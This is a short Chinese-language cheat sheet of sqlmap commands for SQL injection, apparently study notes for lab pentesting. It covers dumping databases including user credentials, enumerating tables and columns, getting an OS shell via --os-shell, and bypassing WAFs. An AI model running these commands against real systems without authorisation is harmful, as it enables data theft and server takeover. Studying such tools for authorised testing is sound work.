

【SQL Injection】sqlmap

```
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
```

傾卸整個數據庫，包括用戶憑據 --dump

```
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
```

-r 參數調用 sqlmap，並將包含 POST 請求的文件作為參數

```
kali@kali:~$ sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
```

獲取資料庫

```
sqlmap -u "URL" --dbs
```

獲取資料庫所有 table

```
sqlmap -u "URL" -D database --tables
```

獲取指定 table 之欄位

```
sqlmap -u "URL" -D database -T table --columns
```

獲取指定 table 之指定欄位資料

```
sqlmap -u "URL" -D database -T table -C field1,field2 --dump
```

使用隨機選擇的 HTTP User-Agent 標頭值，用於繞過 WAF

```
--random-agent
```

指定注入參數

```
-p par1,par2
```

跳過注入參數

```
--skip par1,par2
```

指定注入技術，不使用此參數，預設就是全測，有 BEUSTQ

B = boolean-based

E = error-based

U = union-based

S = stacked-queries

T = time-based

Q = inline-queries

```
--technique BEQU
```

指定 union select 的 column 列數

可以手動 fuzzing 出來指定

```
--union-cols 5
```

顯示注入過程詳細，數字越大越細，(0~6，預設是1，常用是3)

使用情境通常發生在fuzzing時的注入

```
-v 3
```

指定後端資料庫類型

中間有空格要使用雙引號，如："Microsoft Access"

```
--dbms "mysql"
```

獲取RCE

```
--os-shell
```

自動模式，自動選取默認預設選項

```
--batch
```

跳過防火牆檢測測試

```
--skip-waf
```

★由 treeman 建立於 2 @ 2024 21:46:19
✎由 treeman 更新於 7 @ 2024 19:30:26